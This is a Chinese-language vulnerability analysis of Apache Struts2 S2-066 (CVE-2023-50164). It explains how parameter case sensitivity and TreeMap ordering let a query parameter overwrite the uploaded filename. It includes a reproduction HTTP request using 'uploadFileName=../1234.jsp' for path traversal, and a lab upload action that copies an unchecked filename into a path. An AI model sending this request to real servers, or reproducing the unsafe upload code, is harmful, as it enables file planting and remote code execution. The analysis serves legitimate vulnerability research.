CVE-2023-50164

Apache Struts2 文件上传分析(S2-066) - y4tacker

Struts2 S2-066漏洞浅析 - zh1z****

漏洞简介

Apache Struts 2是一个基于MVC设计模式的Web应用框架,可用于创建企业级Java web应用程序。

由于文件上传逻辑存在缺陷,威胁者可操纵文件上传参数导致路径遍历,某些情况下可能上传恶意文件,造成远程代码执行。

影响版本

Struts 2.0.0 - Struts 2.3.37 (EOL)

Struts 2.5.0 - Struts 2.5.32

Struts 6.0.0 - Struts 6.3.0

环境搭建

和S2-067的环境搭建类似,这里Apache Struts 2漏洞版本选择6.3.0

1
2
3
4
5
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>6.3.0</version>
</dependency>

定义UploadAction类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package cn.ph0ebus.s2066.action;

import com.opensymphony.xwork2.ActionSupport;
import java.io.File;
import org.apache.commons.io.FileUtils;

public class UploadAction extends ActionSupport {
private static final long serialVersionUID = 1L;
private File upload;
private String uploadContentType;
private String uploadFileName;

public UploadAction() {
}

public File getUpload() {
return this.upload;
}

public void setUpload(File upload) {
this.upload = upload;
}

public String getUploadContentType() {
return this.uploadContentType;
}

public void setUploadContentType(String uploadContentType) {
this.uploadContentType = uploadContentType;
}

public String getUploadFileName() {
return this.uploadFileName;
}

public void setUploadFileName(String uploadFileName) {
this.uploadFileName = uploadFileName;
}

public String doUpload() {
String path = "/tmp/s2066";
String realPath = path + File.separator + this.uploadFileName;

try {
FileUtils.copyFile(this.upload, new File(realPath));
} catch (Exception e) {
e.printStackTrace();
}

return "success";
}
}

配置struts.xml

1
2
3
<action name="s2066" class="cn.ph0ebus.s2066.action.UploadAction" method="doUpload">
<result name="success" type="">/index.jsp</result>
</action>

漏洞复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /s2vuls/s2066.action?uploadFileName=../1234.jsp HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 188
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain

1aaa
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--

使用这个数据包可将上传的文件名覆盖为1234.jsp,并且可以目录穿越

imgimg

漏洞分析

相关的commit在https://github.com/apache/struts/commit/162e29fee9136f4bfd9b2376da2cbf590f9ea163

根据这个测试类,可以看出这里和HTTP参数大小写敏感有关,根据函数名可以看出,在get参数时应该大小写敏感,而Append相同参数时忽略大小写

Struts2本身是有一系列默认拦截器,这部分配置在struts-default.xml中,其中就包含了一个与文件上传相关的拦截器org.apache.struts2.interceptor.FileUploadInterceptor

img

用一个正常的上传数据包调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /s2vuls/s2066.action HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 188
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="upload"; filename="1.txt"
Content-Type: text/plain

hello ph0ebus
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--

分析一下org.apache.struts2.interceptor.FileUploadInterceptor#intercept这里的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
public String intercept(ActionInvocation invocation) throws Exception {
ActionContext ac = invocation.getInvocationContext();
HttpServletRequest request = ac.getServletRequest();
if (!(request instanceof MultiPartRequestWrapper)) {
if (LOG.isDebugEnabled()) {
ActionProxy proxy = invocation.getProxy();
LOG.debug(this.getTextMessage("struts.messages.bypass.request", new String[]{proxy.getNamespace(), proxy.getActionName()}));
}

return invocation.invoke();
} else {
ValidationAware validation = null;
Object action = invocation.getAction();
if (action instanceof ValidationAware) {
validation = (ValidationAware)action;
}

MultiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper)request;
if (multiWrapper.hasErrors() && validation != null) {
TextProvider textProvider = this.getTextProvider(action);

for(LocalizedMessage error : multiWrapper.getErrors()) {
String errorMessage;
if (textProvider.hasKey(error.getTextKey())) {
errorMessage = textProvider.getText(error.getTextKey(), Arrays.asList(error.getArgs()));
} else {
errorMessage = textProvider.getText("struts.messages.error.uploading", error.getDefaultMessage());
}

validation.addActionError(errorMessage);
}
}

Enumeration fileParameterNames = multiWrapper.getFileParameterNames();

while(fileParameterNames != null && fileParameterNames.hasMoreElements()) {
String inputName = (String)fileParameterNames.nextElement();
String[] contentType = multiWrapper.getContentTypes(inputName);
if (!this.isNonEmpty(contentType)) {
if (LOG.isWarnEnabled()) {
LOG.warn(this.getTextMessage(action, "struts.messages.invalid.content.type", new String[]{inputName}));
}
} else {
String[] fileName = multiWrapper.getFileNames(inputName);
if (!this.isNonEmpty(fileName)) {
if (LOG.isWarnEnabled()) {
LOG.warn(this.getTextMessage(action, "struts.messages.invalid.file", new String[]{inputName}));
}
} else {
UploadedFile[] files = multiWrapper.getFiles(inputName);
if (files != null && files.length > 0) {
List<UploadedFile> acceptedFiles = new ArrayList(files.length);
List<String> acceptedContentTypes = new ArrayList(files.length);
List<String> acceptedFileNames = new ArrayList(files.length);
String contentTypeName = inputName + "ContentType";
String fileNameName = inputName + "FileName";

for(int index = 0; index < files.length; ++index) {
if (this.acceptFile(action, files[index], fileName[index], contentType[index], inputName, validation)) {
acceptedFiles.add(files[index]);
acceptedContentTypes.add(contentType[index]);
acceptedFileNames.add(fileName[index]);
}
}

if (!acceptedFiles.isEmpty()) {
Map<String, Parameter> newParams = new HashMap();
newParams.put(inputName, new Parameter.File(inputName, acceptedFiles.toArray(new UploadedFile[acceptedFiles.size()])));
newParams.put(contentTypeName, new Parameter.File(contentTypeName, acceptedContentTypes.toArray(new String[acceptedContentTypes.size()])));
newParams.put(fileNameName, new Parameter.File(fileNameName, acceptedFileNames.toArray(new String[acceptedFileNames.size()])));
ac.getParameters().appendAll(newParams);
}
}
}
}
}

return invocation.invoke();
}
}

拦截器首先获取了ActionContext上下文,然后从上下文中获取HttpServletRequest对象,然后从HttpServletRequest对象中获取文件上传的各个参数。

[File Name] : File - the actual File

[File Name]ContentType : String - the content type of the file

[File Name]FileName : String - the actual name of the file uploaded (not the HTML name)

遍历解析每个文件的参数(这里只有一个文件),如果通过acceptFile()方法则将参数塞进org.apache.struts2.dispatcher.HttpParameters#parameters属性中。完成后调用下一个拦截器

1
2
3
4
5
6
7
if (!acceptedFiles.isEmpty()) {
Map<String, Parameter> newParams = new HashMap();
newParams.put(inputName, new Parameter.File(inputName, acceptedFiles.toArray(new UploadedFile[acceptedFiles.size()])));
newParams.put(contentTypeName, new Parameter.File(contentTypeName, acceptedContentTypes.toArray(new String[acceptedContentTypes.size()])));
newParams.put(fileNameName, new Parameter.File(fileNameName, acceptedFileNames.toArray(new String[acceptedFileNames.size()])));
ac.getParameters().appendAll(newParams);
}

调试跟踪到ac.getParameters().appendAll(newParams);这段代码可以发现端倪.这里将文件上传的参数保存到了org.apache.struts2.dispatcher.HttpParameters对象当中

1
2
3
4
public HttpParameters appendAll(Map<String, Parameter> newParams) {
this.parameters.putAll(newParams);
return this;
}

既然是HttpParameters#appendAll,结合commit可以看出,这里修改后的代码会忽略大小写,那么漏洞代码则不会忽略大小写,所以可能存在某些变量覆盖的问题

img

那么在cn.ph0ebus.s2066.action.UploadAction#setUploadFileName下断点看看调用堆栈

可以发现调用了com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParametersParametersInterceptor拦截器其主要功能是把ActionContext中的请求参数设置到ValueStack中,如果栈顶是当前Action则把请求参数设置到Action中,如果栈顶是一个model(Action实现了ModelDriven接口)则把参数设置到了model中。这里也就是用于设置UploadAction的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
protected void setParameters(Object action, ValueStack stack, HttpParameters parameters) {
HttpParameters params;
Map<String, Parameter> acceptableParameters;
if (this.ordered) {
params = HttpParameters.create().withComparator(this.getOrderedComparator()).withParent(parameters).build();
acceptableParameters = new TreeMap(this.getOrderedComparator());
} else {
params = HttpParameters.create().withParent(parameters).build();
acceptableParameters = new TreeMap();
}

for(Map.Entry<String, Parameter> entry : params.entrySet()) {
String parameterName = (String)entry.getKey();
boolean isAcceptableParameter = this.isAcceptableParameter(parameterName, action);
isAcceptableParameter &= this.isAcceptableParameterValue((Parameter)entry.getValue(), action);
if (isAcceptableParameter) {
acceptableParameters.put(parameterName, entry.getValue());
}
}

ValueStack newStack = this.valueStackFactory.createValueStack(stack);
boolean clearableStack = newStack instanceof ClearableValueStack;
if (clearableStack) {
((ClearableValueStack)newStack).clearContextValues();
Map<String, Object> context = newStack.getContext();
ReflectionContextState.setCreatingNullObjects(context, true);
ReflectionContextState.setDenyMethodExecution(context, true);
ReflectionContextState.setReportingConversionErrors(context, true);
newStack.getActionContext().withLocale(stack.getActionContext().getLocale()).withValueStack(stack);
}

boolean memberAccessStack = newStack instanceof MemberAccessValueStack;
if (memberAccessStack) {
MemberAccessValueStack accessValueStack = (MemberAccessValueStack)newStack;
accessValueStack.useAcceptProperties(this.acceptedPatterns.getAcceptedPatterns());
accessValueStack.useExcludeProperties(this.excludedPatterns.getExcludedPatterns());
}

for(Map.Entry<String, Parameter> entry : acceptableParameters.entrySet()) {
String name = (String)entry.getKey();
Parameter value = (Parameter)entry.getValue();

try {
newStack.setParameter(name, value.getObject());
} catch (RuntimeException e) {
if (this.devMode) {
this.notifyDeveloperParameterException(action, name, e.getMessage());
}
}
}

if (clearableStack) {
stack.getActionContext().withConversionErrors(newStack.getActionContext().getConversionErrors());
}

this.addParametersToContext(ActionContext.getContext(), acceptableParameters);
}

这里acceptableParametersTreeMap的对象,默认根据key的自然顺序升序排序。这里key是String类型,则按照key值的字符逐个去进行比较判断的,并按照从小到大升序排序

https://liaoxuefeng.com/books/java/collection/tree-map/index.html

https://codegym.cc/groups/posts/java-string-compareto-method

于是最终放入acceptableParameters的参数键值对是有序的,而大小写会影响顺序,小写字符排序更后面。那么在调用com.opensymphony.xwork2.ognl.OgnlValueStack#setParameter设置UploadAction的参数时,由于最终调用到 java bean 的 setter 方法,如果出现相同参数名首字母大小写都存在的情况,那么在设置参数值时都会调用到相同的 setter 方法。为什么呢,这里简单跟一下代码

根据刚刚给在cn.ph0ebus.s2066.action.UploadAction#setUploadFileName下断点时的堆栈信息中,可以分析出调用 java bean 的 setter 方法设置参数值的逻辑,可以给ognl.OgnlRuntime#getSetMethod下断点。

至于调用相同setter方法的具体逻辑在ognl.OgnlRuntime#capitalizeBeanPropertyName这里,规范化propertyName,也是根据java bean的getter和setter方法规范来的。很容易理解。例如当propertyName为abc和Abc,返回值均为Abc,最后获取到setAbc方法

1
2
3
4
capitalizeBeanPropertyName:2609, OgnlRuntime (ognl)
getDeclaredMethods:2651, OgnlRuntime (ognl)
_getSetMethod:2915, OgnlRuntime (ognl)
getSetMethod:2884, OgnlRuntime (ognl)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private static String capitalizeBeanPropertyName(String propertyName) {
if (propertyName.length() == 1) {
return propertyName.toUpperCase();
} else if (propertyName.startsWith("get") && propertyName.endsWith("()") && Character.isUpperCase(propertyName.substring(3, 4).charAt(0))) {
return propertyName;
} else if (propertyName.startsWith("set") && propertyName.endsWith(")") && Character.isUpperCase(propertyName.substring(3, 4).charAt(0))) {
return propertyName;
} else if (propertyName.startsWith("is") && propertyName.endsWith("()") && Character.isUpperCase(propertyName.substring(2, 3).charAt(0))) {
return propertyName;
} else {
char first = propertyName.charAt(0);
char second = propertyName.charAt(1);
if (Character.isLowerCase(first) && Character.isUpperCase(second)) {
return propertyName;
} else {
char[] chars = propertyName.toCharArray();
chars[0] = Character.toUpperCase(chars[0]);
return new String(chars);
}
}
}

而这个时候acceptableParameters的键是[File Name][File Name]ContentType[File Name]FileName。这里环境的file name为upload,根据前面的理论,如果此时上传数据包的name为Upload,那么也可以获取到相同的setter方法并调用赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /s2vuls/s2066.action HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 188
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain

hello ph0ebus
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--

img

那么此时如果acceptableParameters存在key为uploadFileName、值可控的元素,由于小写字母u比大写字母U排序更靠后,就可以再次调用setUploadFileName覆盖这里的值。acceptableParameters来源于HttpParameters,于是可以控制HttpParameters来控制acceptableParameters,而这就是HTTP数据包的参数

于是就可以构造数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /s2vuls/s2066.action?uploadFileName=../1234.jsp HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 188
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain

1aaa
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--

GET传参,向HttpParameters增加了key为uploadFileName的元素,值也就是传入的参数值,可控

img

于是顺利进入到com.opensymphony.xwork2.ognl.OgnlValueStack#setParameter寻找uploadFileName这个对应setter方法进行调用

img

对uploadFileName规范化为UploadFileName

img

成功拿到setUploadFileName方法

img

调用setUploadFileName方法覆盖上传的文件名

img

结语

最近爆出来的s2-067看通告说和S2-066相似,于是先分析一下这个,还蛮有意思的,估计S2-067是基于这个的绕过吧

⬆︎TOP